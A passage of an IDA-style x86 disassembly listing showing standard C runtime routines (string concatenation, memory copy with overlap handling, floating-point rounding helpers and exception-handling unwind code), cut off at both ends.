[ebp+esi+var_20] test al, cl jnz short loc_41CB57 inc edx jmp short loc_41CB37 ; --------------------------------------------------------------------------- loc_41CB57: ; CODE XREF: sub_41CAD4+7Ej and byte ptr [edx], 0 inc edx loc_41CB5B: ; CODE XREF: sub_41CAD4+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4DBE28, edx and eax, ebx pop ebx leave retn sub_41CAD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CB70 proc near ; CODE XREF: sub_409823+1Cp ; sub_415DAC+19p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_41FF3F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41CBAE mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41CBBB ; --------------------------------------------------------------------------- loc_41CBAE: ; CODE XREF: sub_41CB70+34j lea eax, [ebp+var_20] push eax push 0 call sub_41FE2A pop ecx pop ecx loc_41CBBB: ; CODE XREF: sub_41CB70+3Cj mov eax, esi pop esi leave retn sub_41CB70 endp ; =============== S U B R O U T I N E ======================================= sub_41CBC0 proc near ; CODE XREF: sub_40ADE1+88p ; sub_40B90E+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41CC74 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41CBEA loc_41CBDB: ; CODE XREF: sub_41CBC0+28j mov al, [edi] inc edi test al, al jz short loc_41CC1B test edi, 3 jnz short loc_41CBDB loc_41CBEA: ; CODE XREF: sub_41CBC0+19j ; sub_41CBC0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41CBEA mov eax, [edi-4] test al, al jz short loc_41CC28 test ah, ah jz short loc_41CC23 test eax, 0FF0000h jz short loc_41CC1E test eax, 0FF000000h jnz short loc_41CBEA loc_41CC1B: ; CODE XREF: sub_41CBC0+20j dec edi jmp short loc_41CC2B ; --------------------------------------------------------------------------- loc_41CC1E: ; CODE XREF: sub_41CBC0+52j sub edi, 2 jmp short loc_41CC2B ; --------------------------------------------------------------------------- loc_41CC23: ; CODE XREF: sub_41CBC0+4Bj sub edi, 3 jmp short loc_41CC2B ; --------------------------------------------------------------------------- loc_41CC28: ; CODE XREF: sub_41CBC0+47j sub edi, 4 loc_41CC2B: ; CODE XREF: sub_41CBC0+5Cj ; sub_41CBC0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41CC40 mov ebx, ecx shr ecx, 2 jnz short loc_41CC8C jmp short loc_41CC5C ; --------------------------------------------------------------------------- loc_41CC40: ; CODE XREF: sub_41CBC0+75j ; sub_41CBC0+93j mov dl, [esi] inc esi test dl, dl jz short loc_41CC7A mov [edi], dl inc edi dec ecx jz short loc_41CC70 test esi, 3 jnz short loc_41CC40 mov ebx, ecx shr ecx, 2 jnz short loc_41CC8C loc_41CC5C: ; CODE XREF: sub_41CBC0+7Ej ; sub_41CBC0+CAj mov ecx, ebx and ecx, 3 jz short loc_41CC70 loc_41CC63: ; CODE XREF: sub_41CBC0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_41CC72 dec ecx jnz short loc_41CC63 loc_41CC70: ; CODE XREF: sub_41CBC0+8Bj ; sub_41CBC0+A1j mov [edi], cl loc_41CC72: ; CODE XREF: sub_41CBC0+ABj pop ebx pop esi loc_41CC74: ; CODE XREF: sub_41CBC0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41CC7A: ; CODE XREF: sub_41CBC0+85j ; sub_41CBC0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CC84: ; CODE XREF: sub_41CBC0+E4j ; sub_41CBC0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41CC5C loc_41CC8C: ; CODE XREF: sub_41CBC0+7Cj ; sub_41CBC0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41CC84 test dl, dl jz short loc_41CC7A test dh, dh jz short loc_41CCD8 test edx, 0FF0000h jz short loc_41CCC8 test edx, 0FF000000h jnz short loc_41CC84 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CCC8: ; CODE XREF: sub_41CBC0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CCD8: ; CODE XREF: sub_41CBC0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41CBC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CCE3 proc near ; CODE XREF: ___:0040B062p ; sub_40C2AF+40p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_41B9C0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_420DB0 add esp, 10h leave retn sub_41CCE3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CD20 proc near ; CODE XREF: sub_40B13C+62p ; sub_40B13C+6Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41CD40 cmp edi, eax jb loc_41CEB8 loc_41CD40: ; CODE XREF: sub_41CD20+16j test edi, 3 jnz short loc_41CD5C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CD7C rep movsd jmp off_41CE68[edx*4] ; --------------------------------------------------------------------------- loc_41CD5C: ; CODE XREF: sub_41CD20+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41CD74 and eax, 3 add ecx, eax jmp dword ptr loc_41CD7C+4[eax*4] ; --------------------------------------------------------------------------- loc_41CD74: ; CODE XREF: sub_41CD20+46j jmp dword ptr loc_41CE78[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CD7C: ; CODE XREF: sub_41CD20+31j ; sub_41CD20+8Ej ... jmp off_41CDFC[ecx*4] ; --------------------------------------------------------------------------- db 2 dup(90h) db 0CDh, 41h, 0 dd offset loc_41CDBC dd offset loc_41CDE0 ; --------------------------------------------------------------------------- and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41CD7C rep movsd jmp off_41CE68[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CDBC: ; DATA XREF: sub_41CD20+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41CD7C rep movsd jmp off_41CE68[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CDE0: ; DATA XREF: sub_41CD20+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41CD7C rep movsd jmp off_41CE68[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CDFC dd offset loc_41CE5F ; DATA XREF: sub_41CD20:loc_41CD7Cr dd offset loc_41CE4C dd offset loc_41CE44 dd offset loc_41CE3C dd offset loc_41CE34 dd offset loc_41CE2C dd offset loc_41CE24 dd offset loc_41CE1C ; --------------------------------------------------------------------------- loc_41CE1C: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41CE24: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41CE2C: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41CE34: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41CE3C: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41CE44: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41CE4C: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CE5F: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20:off_41CDFCo jmp off_41CE68[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CE68 dd offset loc_41CE78 ; DATA XREF: sub_41CD20+35r ; sub_41CD20+92r ... dd offset loc_41CE80 dd offset loc_41CE8C dd offset loc_41CEA0 ; --------------------------------------------------------------------------- loc_41CE78: ; CODE XREF: sub_41CD20+35j ; sub_41CD20+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CE80: ; CODE XREF: sub_41CD20+35j ; sub_41CD20+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CE8C: ; CODE XREF: sub_41CD20+35j ; sub_41CD20+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CEA0: ; CODE XREF: sub_41CD20+35j ; sub_41CD20+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CEB8: ; CODE XREF: sub_41CD20+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41CEEC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CEE0 std rep movsd cld jmp off_41D000[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CEE0: ; CODE XREF: sub_41CD20+1B1j ; sub_41CD20+208j ... neg ecx jmp off_41CFB0[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CEEC: ; CODE XREF: sub_41CD20+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41CF04 and eax, 3 sub ecx, eax jmp dword ptr loc_41CF04+4[eax*4] ; --------------------------------------------------------------------------- loc_41CF04: ; CODE XREF: sub_41CD20+1D6j ; DATA XREF: sub_41CD20+1DDr jmp off_41D000[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CF17+1 ; --------------------------------------------------------------------------- cmp bh, cl inc ecx add [eax-31h], ah inc ecx loc_41CF17: ; DATA XREF: sub_41CD20+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41CEE0 std rep movsd cld jmp off_41D000[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41CEE0 std rep movsd cld jmp off_41D000[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41CEE0 std rep movsd cld jmp off_41D000[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CFB4 dd offset loc_41CFBC dd offset loc_41CFC4 dd offset loc_41CFCC dd offset loc_41CFD4 dd offset loc_41CFDC dd offset loc_41CFE4 off_41CFB0 dd offset loc_41CFF7 ; DATA XREF: sub_41CD20+1C2r ; --------------------------------------------------------------------------- loc_41CFB4: ; DATA XREF: sub_41CD20+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41CFBC: ; DATA XREF: sub_41CD20+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41CFC4: ; DATA XREF: sub_41CD20+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41CFCC: ; DATA XREF: sub_41CD20+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41CFD4: ; DATA XREF: sub_41CD20+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41CFDC: ; DATA XREF: sub_41CD20+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41CFE4: ; DATA XREF: sub_41CD20+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CFF7: ; CODE XREF: sub_41CD20+1C2j ; DATA XREF: sub_41CD20:off_41CFB0o jmp off_41D000[edx*4] ; --------------------------------------------------------------------------- align 10h off_41D000 dd offset loc_41D010 ; DATA XREF: sub_41CD20+1B7r ; sub_41CD20:loc_41CF04r ... dd offset loc_41D018 dd offset loc_41D028 dd offset loc_41D03C ; --------------------------------------------------------------------------- loc_41D010: ; CODE XREF: sub_41CD20+1B7j ; sub_41CD20:loc_41CF04j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D018: ; CODE XREF: sub_41CD20+1B7j ; sub_41CD20:loc_41CF04j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D028: ; CODE XREF: sub_41CD20+1B7j ; sub_41CD20:loc_41CF04j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D03C: ; CODE XREF: sub_41CD20+1B7j ; sub_41CD20:loc_41CF04j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41CD20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41D055(double) sub_41D055 proc near ; CODE XREF: sub_40D2F4+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43AE10 call sub_422089 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41D0DB call sub_421F51 pop ecx test eax, eax pop ecx jle short loc_41D0BE cmp eax, 2 jle short loc_41D0B0 cmp eax, 3 jnz short loc_41D0BE fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_421861 add esp, 10h jmp short loc_41D120 ; --------------------------------------------------------------------------- loc_41D0B0: ; CODE XREF: sub_41D055+3Fj push esi push ebx call sub_422089 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41D120 ; --------------------------------------------------------------------------- loc_41D0BE: ; CODE XREF: sub_41D055+3Aj ; sub_41D055+44j fld [ebp+arg_0] fadd dbl_4276F8 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_41D118 ; --------------------------------------------------------------------------- loc_41D0DB: ; CODE XREF: sub_41D055+2Fj call sub_421F16 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41D0FE loc_41D0F0: ; CODE XREF: sub_41D055+ACj push esi push ebx call sub_422089 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41D120 ; --------------------------------------------------------------------------- loc_41D0FE: ; CODE XREF: sub_41D055+99j test bl, 20h jnz short loc_41D0F0 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_41D118: ; CODE XREF: sub_41D055+84j call sub_4218B4 add esp, 1Ch loc_41D120: ; CODE XREF: sub_41D055+59j ; sub_41D055+67j ... pop esi pop ebx leave retn sub_41D055 endp ; =============== S U B R O U T I N E ======================================= sub_41D124 proc near ; CODE XREF: ___:0041C16Dp ; sub_422152+21p ; DATA XREF: ... call sub_41D13C call sub_422152 mov dword_4DBE30, eax call sub_422102 fnclex retn sub_41D124 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41D13C proc near ; CODE XREF: sub_41D124p mov eax, offset sub_422540 mov off_43D424, offset sub_4221D5 mov off_43D420, eax mov off_43D428, offset sub_42223B mov off_43D42C, offset sub_42217B mov off_43D430, offset sub_422223 mov off_43D434, eax retn sub_41D13C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D174 proc near ; CODE XREF: sub_40D2F4+1Bp ; sub_40D2F4+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_41D174 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41D19B(double) sub_41D19B proc near ; CODE XREF: sub_40D340+82p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43AE28 call sub_422089 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41D221 call sub_421F51 pop ecx test eax, eax pop ecx jle short loc_41D204 cmp eax, 2 jle short loc_41D1F6 cmp eax, 3 jnz short loc_41D204 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_421861 add esp, 10h jmp short loc_41D266 ; --------------------------------------------------------------------------- loc_41D1F6: ; CODE XREF: sub_41D19B+3Fj push esi push ebx call sub_422089 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41D266 ; --------------------------------------------------------------------------- loc_41D204: ; CODE XREF: sub_41D19B+3Aj ; sub_41D19B+44j fld [ebp+arg_0] fadd dbl_4276F8 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_41D25E ; --------------------------------------------------------------------------- loc_41D221: ; CODE XREF: sub_41D19B+2Fj call sub_421F16 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41D244 loc_41D236: ; CODE XREF: sub_41D19B+ACj push esi push ebx call sub_422089 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41D266 ; --------------------------------------------------------------------------- loc_41D244: ; CODE XREF: sub_41D19B+99j test bl, 20h jnz short loc_41D236 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_41D25E: ; CODE XREF: sub_41D19B+84j call sub_4218B4 add esp, 1Ch loc_41D266: ; CODE XREF: sub_41D19B+59j ; sub_41D19B+67j ... pop esi pop ebx leave retn sub_41D19B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D26A proc near ; CODE XREF: ___:00422A22p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41D26A endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_41D29E proc near ; CODE XREF: sub_422B62+199p ; sub_422D26+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41D29E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D2A5 proc near ; CODE XREF: sub_422B62+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41D2A5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41D2AC proc near ; CODE XREF: sub_41D45E+5Cp ; sub_4229B1:loc_4229E2p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_41D2D4 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_426356 sub_41D2AC endp ; --------------------------------------------------------------------------- loc_41D2D4: ; DATA XREF: sub_41D2AC+11o mov eax, [ebp+0Ch] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+0Ch] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp-8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_41D2FB: ; CODE XREF: ___:00426AACj ; ___:00426AC9j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_4225B6 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D331 proc near ; CODE XREF: sub_422A2C+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_41D385 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_422DB0 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_41D331 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D385 proc near ; DATA XREF: sub_41D331+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_4225B6 add esp, 20h pop ebp retn sub_41D385 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D3AA proc near ; CODE XREF: sub_4227F8+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_41D45E mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_41D430 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_4DBE70 pop ecx pop ecx and [ebp+var_34], 0 loc_41D430: ; DATA XREF: sub_41D3AA+3Co cmp [ebp+var_4], 0 jz short loc_41D44D mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41D456 ; --------------------------------------------------------------------------- loc_41D44D: ; CODE XREF: sub_41D3AA+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_41D456: ; CODE XREF: sub_41D3AA+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_41D3AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D45E proc near ; DATA XREF: sub_41D3AA+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_41D481 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41D4CE ; --------------------------------------------------------------------------- loc_41D481: ; CODE XREF: sub_41D45E+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_4225B6 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41D4BF push [ebp+arg_0] push [ebp+arg_4] call sub_41D2AC ; --------------------------------------------------------------------------- loc_41D4BF: ; CODE XREF: sub_41D45E+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41D4CE: ; CODE XREF: sub_41D45E+21j pop edi pop esi pop ebx pop ebp retn sub_41D45E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D4D3 proc near ; CODE XREF: sub_422651+C6p ; sub_4227F8+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41D52A loc_41D4F1: ; CODE XREF: sub_41D4D3+52j cmp esi, 0FFFFFFFFh jnz short loc_41D4FB call sub_422E52 loc_41D4FB: ; CODE XREF: sub_41D4D3+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, 